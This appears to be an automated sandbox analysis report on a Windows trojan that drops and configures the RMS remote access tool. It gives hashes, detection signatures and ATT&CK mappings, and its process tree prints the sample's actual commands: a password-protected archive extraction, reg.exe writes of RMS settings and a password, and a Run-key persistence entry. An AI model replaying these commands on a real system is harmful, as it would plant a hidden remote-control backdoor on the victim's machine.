rms | 25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585

Analysis

max time kernel
10s
platform
windows7_x64
resource
win7-20220901-en
resource tags

arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system
submitted
22/10/2022, 09:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe
Size 3.6MB
Sample221022-lqfmsacdaq
SHA256 25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585
MD5 21ae834bdd5b89bacacca4d51cf82148
SHA1 601d1d2751a2af976556b6cfa84201b76003cff5
SHA512 1e29739482431972865a2ceac2404cccea7c5bc5d1257dcfefcd9e9d2a16820bad8dad79d0c88192170c83a84fea8e0900bc38764b313dbb66d4f4aefd5ccde8
SSDEEP 98304:c4cVYH4QXqDLusX30tPoOvE7CcJaDcUkXaluXvdPzJ:oWH4LXeRoZ7CcPUQXvdPzJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

rms persistence rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Executes dropped EXE 2 IoCs

pid	Process
1160	up.exe
332	Total.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000133f0-57.dat	upx
behavioral1/files/0x00070000000133f0-59.dat	upx
behavioral1/files/0x00070000000133f0-61.dat	upx
behavioral1/memory/1160-64-0x00000000010C0000-0x000000000119C000-memory.dmp	upx

Loads dropped DLL 6 IoCs

pid	Process
1468	25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe
1468	25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe
1468	25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe
284	cmd.exe
284	cmd.exe
332	Total.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Run\sys = "c:\\ProgramData\\rutserv.exe"	reg.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/memory/1160-64-0x00000000010C0000-0x000000000119C000-memory.dmp	autoit_exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
1952	PING.EXE
1220	PING.EXE

Suspicious use of WriteProcessMemory 51 IoCs

description	pid	Process	procid_target
PID 1468 wrote to memory of 1160	1468	25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe	27
PID 1468 wrote to memory of 1160	1468	25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe	27
PID 1468 wrote to memory of 1160	1468	25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe	27
PID 1468 wrote to memory of 1160	1468	25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe	27
PID 1160 wrote to memory of 284	1160	up.exe	28
PID 1160 wrote to memory of 284	1160	up.exe	28
PID 1160 wrote to memory of 284	1160	up.exe	28
PID 1160 wrote to memory of 284	1160	up.exe	28
PID 1160 wrote to memory of 284	1160	up.exe	28
PID 1160 wrote to memory of 284	1160	up.exe	28
PID 1160 wrote to memory of 284	1160	up.exe	28
PID 284 wrote to memory of 332	284	cmd.exe	30
PID 284 wrote to memory of 332	284	cmd.exe	30
PID 284 wrote to memory of 332	284	cmd.exe	30
PID 284 wrote to memory of 332	284	cmd.exe	30
PID 284 wrote to memory of 1952	284	cmd.exe	31
PID 284 wrote to memory of 1952	284	cmd.exe	31
PID 284 wrote to memory of 1952	284	cmd.exe	31
PID 284 wrote to memory of 1952	284	cmd.exe	31
PID 284 wrote to memory of 840	284	cmd.exe	32
PID 284 wrote to memory of 840	284	cmd.exe	32
PID 284 wrote to memory of 840	284	cmd.exe	32
PID 284 wrote to memory of 840	284	cmd.exe	32
PID 284 wrote to memory of 1568	284	cmd.exe	33
PID 284 wrote to memory of 1568	284	cmd.exe	33
PID 284 wrote to memory of 1568	284	cmd.exe	33
PID 284 wrote to memory of 1568	284	cmd.exe	33
PID 284 wrote to memory of 1204	284	cmd.exe	34
PID 284 wrote to memory of 1204	284	cmd.exe	34
PID 284 wrote to memory of 1204	284	cmd.exe	34
PID 284 wrote to memory of 1204	284	cmd.exe	34
PID 284 wrote to memory of 1100	284	cmd.exe	35
PID 284 wrote to memory of 1100	284	cmd.exe	35
PID 284 wrote to memory of 1100	284	cmd.exe	35
PID 284 wrote to memory of 1100	284	cmd.exe	35
PID 284 wrote to memory of 932	284	cmd.exe	36
PID 284 wrote to memory of 932	284	cmd.exe	36
PID 284 wrote to memory of 932	284	cmd.exe	36
PID 284 wrote to memory of 932	284	cmd.exe	36
PID 284 wrote to memory of 1392	284	cmd.exe	37
PID 284 wrote to memory of 1392	284	cmd.exe	37
PID 284 wrote to memory of 1392	284	cmd.exe	37
PID 284 wrote to memory of 1392	284	cmd.exe	37
PID 284 wrote to memory of 1600	284	cmd.exe	38
PID 284 wrote to memory of 1600	284	cmd.exe	38
PID 284 wrote to memory of 1600	284	cmd.exe	38
PID 284 wrote to memory of 1600	284	cmd.exe	38
PID 284 wrote to memory of 1220	284	cmd.exe	39
PID 284 wrote to memory of 1220	284	cmd.exe	39
PID 284 wrote to memory of 1220	284	cmd.exe	39
PID 284 wrote to memory of 1220	284	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe
"C:\Users\Admin\AppData\Local\Temp\25567135ec1b3375d957d61f20e39b7a442b5a87f3f3591f67d47a1441455585.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1468
- C:\Users\Admin\AppData\Roaming\Microsoft\up.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\up.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1160
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c install.cmd
    3⤵
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:284
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Total.exe
      "Total.exe" x -p2kNR5QbaKpJ2UD3MAbMztr7m8hUQCA data.tmp -y
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:332
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1952
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "Options" /t REG_BINARY /d 545046301154524f4d5365727665724f7074696f6e7300095573654e5441757468080d53656375726974794c6576656c020304506f727403121614456e61626c654f7665726c617943617074757265080c53686f775472617949636f6e080642696e644950060d416e7920696e746572666163651343616c6c6261636b4175746f436f6e6e656374091743616c6c6261636b436f6e6e656374496e74657276616c023c0c50617373776f726444617461060c364f6d2f75776b45394b493d084869646553746f70090c497046696c746572547970650202105573654c656761637943617074757265081750726f7465637443616c6c6261636b53657474696e6773091550726f74656374496e6574496453657474696e6773090f446f4e6f7443617074757265524450080755736549507636091141736b557365725065726d697373696f6e0816557365725065726d697373696f6e496e74657276616c031027134175746f416c6c6f775065726d697373696f6e08134e656564417574686f72697479536572766572081f41736b5065726d697373696f6e4f6e6c794966557365724c6f676765644f6e0811557365496e6574436f6e6e656374696f6e0813557365437573746f6d496e6574536572766572080a496e65744964506f727402000d557365496e6574496449507636081444697361626c6552656d6f7465436f6e74726f6c081344697361626c6552656d6f746553637265656e081344697361626c6546696c655472616e73666572080f44697361626c655265646972656374080d44697361626c6554656c6e6574081444697361626c6552656d6f746545786563757465081244697361626c655461736b4d616e61676572080e44697361626c654f7665726c6179080f44697361626c6553687574646f776e081444697361626c6552656d6f746555706772616465081544697361626c655072657669657743617074757265081444697361626c654465766963654d616e61676572080b44697361626c6543686174081344697361626c6553637265656e5265636f7264081044697361626c65415643617074757265081244697361626c6553656e644d657373616765080f44697361626c655265676973747279080d44697361626c65415643686174081544697361626c6552656d6f746553657474696e6773081544697361626c6552656d6f74655072696e74696e67080a44697361626c65526470080f4e6f7469667953686f7750616e656c08144e6f746966794368616e67655472617949636f6e08104e6f7469667942616c6c6f6e48696e74080f4e6f74696679506c6179536f756e64080c4e6f7469667950616e656c5802ff0c4e6f7469667950616e656c5902ff064c6f6755736508055369644964061034333031352e373439303638373033370d50726f787953657474696e677312910000003c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c70726f78795f73657474696e67732076657273696f6e3d223633303032223e3c7573655f70726f78793e66616c73653c2f7573655f70726f78793e3c70726f78795f747970653e303c2f70726f78795f747970653e3c686f73743e3c2f686f73743e3c706f72743e383038303c2f706f72743e3c6e6565645f617574683e66616c73653c2f6e6565645f617574683e3c6e746d6c5f617574683e66616c73653c2f6e746d6c5f617574683e3c757365726e616d653e3c2f757365726e616d653e3c70617373776f72643e3c2f70617373776f72643e3c646f6d61696e3e3c2f646f6d61696e3e3c2f70726f78795f73657474696e67733e0d0a0a4164646974696f6e616c0604353535351144697361626c65496e7465726e65744964080b536166654d6f6465536574080000
      4⤵
      PID:840
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "InternetId" /t REG_BINARY /d 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e7465726e65745f69645f73657474696e67732076657273696f6e3d223633303032223e3c696e7465726e65745f69643e3834312d3438322d3230383c2f696e7465726e65745f69643e3c7573655f696e65745f636f6e6e656374696f6e3e747275653c2f7573655f696e65745f636f6e6e656374696f6e3e3c696e65745f7365727665723e3c2f696e65745f7365727665723e3c7573655f637573746f6d5f696e65745f7365727665723e66616c73653c2f7573655f637573746f6d5f696e65745f7365727665723e3c696e65745f69645f706f72743e353635353c2f696e65745f69645f706f72743e3c7573655f696e65745f69645f697076363e66616c73653c2f7573655f696e65745f69645f697076363e3c2f726d735f696e7465726e65745f69645f73657474696e67733e0d0a
      4⤵
      PID:1568
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "Password" /t REG_BINARY /d 38003900440043004100460043003500460042003900450044004200380041003800370030003400350033003600390033003300350037003700340030003800440031003700410036003500390036003400390033003800460033004100340035003400380036003200370030003100310037004600420036003300390041003700350043004300310039004400360046003400380030003000460030003700320037003900370036004200370030004300420041003800340037003700390034003900300034003600450033003400360034003600350030004300430045004100410045003800390046004100430030003500390037004600390032003400
      4⤵
      PID:1204
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "notification" /t REG_BINARY /d 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223633303032223e3c7573653e747275653c2f7573653e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c656d61696c3e626172696e6f7662623130314079616e6465782e72753c2f656d61696c3e3c69643e7b30364543434633422d374333302d344138362d424330392d3935413136343744373534357d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36333030323c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6164646974696f6e616c5f746578743e626172696e6f7662623130313c2f6164646974696f6e616c5f746578743e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a
      4⤵
      PID:1100
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "FUSClientPath" /t REG_SZ /d ""
      4⤵
      PID:932
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\TektonIT\Remote Manipulator System\Server\Parameters" /f /v "CalendarRecordSettings" /t REG_BINARY /d fffe3c003f0078006d006c002000760065007200730069006f006e003d00220031002e0030002200200065006e0063006f00640069006e0067003d0022005500540046002d003100360022003f003e000d000a003c0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e002000760065007200730069006f006e003d0022003600330030003000320022003e003c006d00610069006e005f006f007000740069006f006e0073003e003c006100630074006900760065003e00660061006c00730065003c002f006100630074006900760065003e003c0069006e00740065007200760061006c005f00730068006f0074003e00360030003c002f0069006e00740065007200760061006c005f00730068006f0074003e003c00700072006f0074006500630074005f007200650063006f00720064003e00660061006c00730065003c002f00700072006f0074006500630074005f007200650063006f00720064003e003c0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e00390030003c002f0063006f006d007000720065007300730069006f006e005f007100750061006c006900740079003e003c007300630061006c0065005f007100750061006c006900740079003e003100300030003c002f007300630061006c0065005f007100750061006c006900740079003e003c0063006f006d007000720065007300730069006f006e005f0074007900700065003e0030003c002f0063006f006d007000720065007300730069006f006e005f0074007900700065003e003c006d00610078005f00660069006c0065005f00730069007a0065003e003100300030003c002f006d00610078005f00660069006c0065005f00730069007a0065003e003c006100750074006f005f0063006c006500610072003e00660061006c00730065003c002f006100750074006f005f0063006c006500610072003e003c006100750074006f005f0063006c006500610072005f0064006100790073003e0030003c002f006100750074006f005f0063006c006500610072005f0064006100790073003e003c0075007300650064005f00660069006c0065005f006c0069006d00690074003e0074007200750065003c002f0075007300650064005f00660069006c0065005f006c0069006d00690074003e003c0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e0031003000300030003c002f0061006c006c005f00660069006c00650073005f006c0069006d00690074005f006d0062003e003c0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e0074007200750065003c002f0064007200610077005f006400610074006100740069006d0065005f006f006e005f0069006d006100670065003e003c002f006d00610069006e005f006f007000740069006f006e0073003e003c007300630068006500640075006c00650073002f003e003c002f0073007200650065006e005f007200650063006f00720064005f006f007000740069006f006e003e000d000a00
      4⤵
      PID:1392
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "sys" /t REG_SZ /d "c:\ProgramData\rutserv.exe"
      4⤵
      Adds Run key to start application
      PID:1600
  - - C:\Windows\SysWOW64\PING.EXE
      ping 127.0.0.1
      4⤵
      Runs ping.exe
      PID:1220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

7z.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\7z.dll
Size 893KB
SHA256 a1e1d1f0fff4fcccfbdfa313f3bdfea4d3dfe2c2d9174a615bbc39a0a6929338
MD5 04ad4b80880b32c94be8d0886482c774
SHA1 344faf61c3eb76f4a2fb6452e83ed16c9cce73e0
SHA512 3e3aaf01b769471b18126e443a721c9e9a0269e9f5e48d0a10251bc1ee309855bd71ede266caa6828b007359b21ba562c2a5a3469078760f564fb7bd43acabfb
SSDEEP 24576:TW+wsDaQw6DDz3qRyPnmGfrnvVUKueY8RmneWtJ:TasY6DwOBfrnvV7UeWt
MD5 SHA1 SHA512 SSDEEP

Submit Download

Total.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Total.exe
Size 160KB
SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
MD5 a51d90f2f9394f5ea0a3acae3bd2b219
SHA1 20fea1314dbed552d5fedee096e2050369172ee1
SHA512 c11f981136db7d9bde01046b1953fd924ff29447d41257da09dd762451e27390cea9b69e43206a8fff825ebcd4ddec5a6247bb502aefbd6e8285622caa985bf6
SSDEEP 3072:6nkCMZlG+fHlDum7uVouWEHR92dZH5TTY8A7GyH367uPlDKw:6kCMndv8WiYZH5A8sGw367Y+
MD5 SHA1 SHA512 SSDEEP

Submit Download

Total.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Total.exe
Size 160KB
SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
MD5 a51d90f2f9394f5ea0a3acae3bd2b219
SHA1 20fea1314dbed552d5fedee096e2050369172ee1
SHA512 c11f981136db7d9bde01046b1953fd924ff29447d41257da09dd762451e27390cea9b69e43206a8fff825ebcd4ddec5a6247bb502aefbd6e8285622caa985bf6
SSDEEP 3072:6nkCMZlG+fHlDum7uVouWEHR92dZH5TTY8A7GyH367uPlDKw:6kCMndv8WiYZH5A8sGw367Y+
MD5 SHA1 SHA512 SSDEEP

Submit Download

data.tmp

Path C:\Users\Admin\AppData\Roaming\Microsoft\data.tmp
Size 2.8MB
SHA256 2c0369d45095ba36ce2230a37e67b112d9af10d239089673b3a9cc43d712f748
MD5 a2dc550833804b92e717cb063a4233aa
SHA1 262a9c967f0747a29d8b62ba9e111b95f3924b77
SHA512 daf5299a467127e612f878218f2eeb2e601eb76841bbc3ff9edf30c6cd1cfbe1ce26a27b09be28363df0347ce0bf2dd12e6b396b29008f643b0e5b9a08564e20
SSDEEP 49152:I4cbXqt5LujaNX2EbjbGHPtEG6+a9H7Kv3NWa+XycCcJ1kDcUkVdaoLqP:I4QXqDLusX30tPoOvE7CcJaDcUkXalP
MD5 SHA1 SHA512 SSDEEP

Submit Download

install.cmd

Path C:\Users\Admin\AppData\Roaming\Microsoft\install.cmd
Size 8KB
SHA256 ad84dc40f1f898e229b59dbd7bc47859579cbe56c063d17ec49f09ab9db94125
MD5 71cf93ec686917320d5e3ac1938adcbe
SHA1 2ba047e9fc9db119ef339cf43d523c1f5e1c59b2
SHA512 214f7b248c1616247a61c823e59f20c904eb99f7b31b83705927edad0acf12b209de4d2d72256dc120f05d39f35907c31aeae1c8e53f374770ad0ec87b167399
SSDEEP 192:0GNvNXUumXFnRak2Dk1/pVYpcF0xZZ85Px:MngkpVvF0xZZKPx
MD5 SHA1 SHA512 SSDEEP

Submit Download

rfusclient.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\rfusclient.exe
Size 5.5MB
SHA256 d4a4153b068ca7d9b0eaeb4f1715305504ca4fff63061f8ddc25324ae40d58fb
MD5 4f980bf18db0bcf44b088ca64b015513
SHA1 334c3e87106c83d3e4c17faf385d92873c05997b
SHA512 9519fa302979b9a02615152be36e2df7216fb1d074afddd2bd1535a90c3a1d5554b6537ce82f28388de5380ede006045e7b104fca5bb689079ff07251909ae69
SSDEEP 49152:J0jJpL9QR6wSP+TsK8FjjcHWf0G+Wh1U2YrJeAZQ9sTdTKJTfCCG9db987A:J8DljPU2YrcAZQ91mKA
MD5 SHA1 SHA512 SSDEEP

Submit Download

rutserv.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\rutserv.exe
Size 6.4MB
SHA256 0f36f86fae57d60becd306b05dd981da38475bb57af405b257d2cb548a1d6ee1
MD5 442d8a7375e2c60b9975c7fb2fb7370e
SHA1 98b15758554aa3bb010fb87769bc11e8929576d8
SHA512 285530d1fd7a9374deb21082784c752c2254d70b03c8cf8aa4231b70a3aae19ab34e49d5ae545f06972e3b79b1ff7d85eb9dac88c5cbe2a9e5575f0b5f63ca85
SSDEEP 98304:fBkwk7csNduTkPH9W8+ocaD/DssHdgHU8BCd6C:fqWLUHdgHUBMC
MD5 SHA1 SHA512 SSDEEP

Submit Download

up.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\up.exe
Size 350KB
SHA256 21f50119664b2aefa863df7f9948eb3c3deea3cbc1c153a2af7339a6ffe9f031
MD5 5647dcce04a40dacf9db63cb2555026b
SHA1 1c321b3a77bd2857963a5da4de73f8f17a6b35f4
SHA512 b73aadd60546e669961d1110d593b0cf832b6671836e26b6f23c9d2dbf81acb8d09f9ac94867d63f295e22d92de030d6ba2d5290bd095c473eecd02911f0d171
SSDEEP 6144:3VOfZTZiOydo+h9g1V5M4orn+GrtY36V7w5KjM9AC9LzfMwHeOQoFRROX7OZ0O7:lozGdX0M4ornOmZIzfMwHHQmRROXKuS
MD5 SHA1 SHA512 SSDEEP

Submit Download

up.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\up.exe
Size 350KB
SHA256 21f50119664b2aefa863df7f9948eb3c3deea3cbc1c153a2af7339a6ffe9f031
MD5 5647dcce04a40dacf9db63cb2555026b
SHA1 1c321b3a77bd2857963a5da4de73f8f17a6b35f4
SHA512 b73aadd60546e669961d1110d593b0cf832b6671836e26b6f23c9d2dbf81acb8d09f9ac94867d63f295e22d92de030d6ba2d5290bd095c473eecd02911f0d171
SSDEEP 6144:3VOfZTZiOydo+h9g1V5M4orn+GrtY36V7w5KjM9AC9LzfMwHeOQoFRROX7OZ0O7:lozGdX0M4ornOmZIzfMwHHQmRROXKuS
MD5 SHA1 SHA512 SSDEEP

Submit Download

vp8decoder.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\vp8decoder.dll
Size 378KB
SHA256 acf354ad6ed94e876b29a60c5870dd91e7b3f76cc82c1a862c92024a12404a9f
MD5 292a1748850d1fdc91d4ec23b02d6902
SHA1 8f15f1c24e11c0b45b19c82a78f7b79b1e7f932d
SHA512 cf7579f1169ec21d9bf3c666d416d3fe2a4f9953d4d328b182452e40043f91055d301fd4b4a21454b847dbdb0af6a61c52657caded7d6fd7e88812aceeacf704
SSDEEP 6144:mIIDyjBnydesbWoiwS7dVIclCzoqHO/gCaEkkH8TuX6RTrWD4siZMZ+LG4IPWwcb:mI8tiDOzyH9H8Tu6h04fZMZoMPuvfL
MD5 SHA1 SHA512 SSDEEP

Submit Download

vp8encoder.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\vp8encoder.dll
Size 1.6MB
SHA256 a5f008bf852d4c73e001f840d6f8b233c7d9bc9570cee639d40c1c8723bf99f8
MD5 4570f7a40357016c97afe0dd4faf749b
SHA1 ebc8a1660f1103c655559caab3a70ec23ca187f1
SHA512 6b16979d004adc04259f2ce043cde6f7b57f2ddf5f4cea7bb390fd6b9fb273d22355b837f1b5c2eae77ea7df792de8e6db43e31d7246f044935a8187dace493b
SSDEEP 49152:9SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwj:9SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSp
MD5 SHA1 SHA512 SSDEEP

Submit Download

webmmux.dll

Path C:\Users\Admin\AppData\Roaming\Microsoft\webmmux.dll
Size 258KB
SHA256 d247afa3bd1ccc18e11eb099280802a61d3792a2018c476d95debf2091e9707d
MD5 038bf9f3a58560ad1130eeb85cdc1a87
SHA1 3571eb7293a2a3a5bf6eb21e1569cd151d995d1a
SHA512 8ffa52b358841600b9122974079d22d4e11bc4214316cd85ac4d4af0e369112b6827029f74a9a9d3918db00c7fed3a9a1985e0b43da39783a748d78752ae2385
SSDEEP 3072:aW218gr7s2yIHB0pTPdTX9zUbEbStE97zjAs1RtTcJTfIv0se7POWu/HgsGU1VTW:aWSfr7sXSmPDbKPJ6/AsNk+w
MD5 SHA1 SHA512 SSDEEP

Submit Download

ExecDos.dll

Path \Users\Admin\AppData\Local\Temp\nsdC42.tmp\ExecDos.dll
Size 5KB
SHA256 69ac56d2fdf3c71b766d3cc49b33b36f1287cc2503310811017467dfcb455926
MD5 a7cd6206240484c8436c66afb12bdfbf
SHA1 0bb3e24a7eb0a9e5a8eae06b1c6e7551a7ec9919
SHA512 b9ee7803301e50a8ec20ab3f87eb9e509ea24d11a69e90005f30c1666acc4ed0a208bd56e372e2e5c6a6d901d45f04a12427303d74761983593d10b344c79904
SSDEEP 48:6jOBtU/BXN8kUByyy/Aklkcrkyg7Vg5RibGoTCTo0gqVeeaeQqzM5rv774YRljmB:y/DMy4ncrkyg7tbpQFLUEYRxe
MD5 SHA1 SHA512 SSDEEP

Submit Download

System.dll

Path \Users\Admin\AppData\Local\Temp\nsdC42.tmp\System.dll
Size 11KB
SHA256 dc58d8ad81cacb0c1ed72e33bff8f23ea40b5252b5bb55d393a0903e6819ae2f
MD5 c17103ae9072a06da581dec998343fc1
SHA1 b72148c6bdfaada8b8c3f950e610ee7cf1da1f8d
SHA512 d32a71aaef18e993f28096d536e41c4d016850721b31171513ce28bbd805a54fd290b7c3e9d935f72e676a1acfb4f0dcc89d95040a0dd29f2b6975855c18986f
SSDEEP 192:7DKnJZCv6VmbJQC+tFiUdK7ckD4gRXKQx+LQ2CSF:7ViJrtFRdbmXK8+PCw
MD5 SHA1 SHA512 SSDEEP

Submit Download

7z.dll

Path \Users\Admin\AppData\Roaming\Microsoft\7z.dll
Size 893KB
SHA256 a1e1d1f0fff4fcccfbdfa313f3bdfea4d3dfe2c2d9174a615bbc39a0a6929338
MD5 04ad4b80880b32c94be8d0886482c774
SHA1 344faf61c3eb76f4a2fb6452e83ed16c9cce73e0
SHA512 3e3aaf01b769471b18126e443a721c9e9a0269e9f5e48d0a10251bc1ee309855bd71ede266caa6828b007359b21ba562c2a5a3469078760f564fb7bd43acabfb
SSDEEP 24576:TW+wsDaQw6DDz3qRyPnmGfrnvVUKueY8RmneWtJ:TasY6DwOBfrnvV7UeWt
MD5 SHA1 SHA512 SSDEEP

Submit Download

Total.exe

Path \Users\Admin\AppData\Roaming\Microsoft\Total.exe
Size 160KB
SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
MD5 a51d90f2f9394f5ea0a3acae3bd2b219
SHA1 20fea1314dbed552d5fedee096e2050369172ee1
SHA512 c11f981136db7d9bde01046b1953fd924ff29447d41257da09dd762451e27390cea9b69e43206a8fff825ebcd4ddec5a6247bb502aefbd6e8285622caa985bf6
SSDEEP 3072:6nkCMZlG+fHlDum7uVouWEHR92dZH5TTY8A7GyH367uPlDKw:6kCMndv8WiYZH5A8sGw367Y+
MD5 SHA1 SHA512 SSDEEP

Submit Download

Total.exe

Path \Users\Admin\AppData\Roaming\Microsoft\Total.exe
Size 160KB
SHA256 ac9674feb8f2fad20c1e046de67f899419276ae79a60e8cc021a4bf472ae044f
MD5 a51d90f2f9394f5ea0a3acae3bd2b219
SHA1 20fea1314dbed552d5fedee096e2050369172ee1
SHA512 c11f981136db7d9bde01046b1953fd924ff29447d41257da09dd762451e27390cea9b69e43206a8fff825ebcd4ddec5a6247bb502aefbd6e8285622caa985bf6
SSDEEP 3072:6nkCMZlG+fHlDum7uVouWEHR92dZH5TTY8A7GyH367uPlDKw:6kCMndv8WiYZH5A8sGw367Y+
MD5 SHA1 SHA512 SSDEEP

Submit Download

up.exe

Path \Users\Admin\AppData\Roaming\Microsoft\up.exe
Size 350KB
SHA256 21f50119664b2aefa863df7f9948eb3c3deea3cbc1c153a2af7339a6ffe9f031
MD5 5647dcce04a40dacf9db63cb2555026b
SHA1 1c321b3a77bd2857963a5da4de73f8f17a6b35f4
SHA512 b73aadd60546e669961d1110d593b0cf832b6671836e26b6f23c9d2dbf81acb8d09f9ac94867d63f295e22d92de030d6ba2d5290bd095c473eecd02911f0d171
SSDEEP 6144:3VOfZTZiOydo+h9g1V5M4orn+GrtY36V7w5KjM9AC9LzfMwHeOQoFRROX7OZ0O7:lozGdX0M4ornOmZIzfMwHHQmRROXKuS
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1160-64-0x00000000010C0000-0x000000000119C000-memory.dmp

Download

memory/1468-54-0x0000000076BA1000-0x0000000076BA3000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads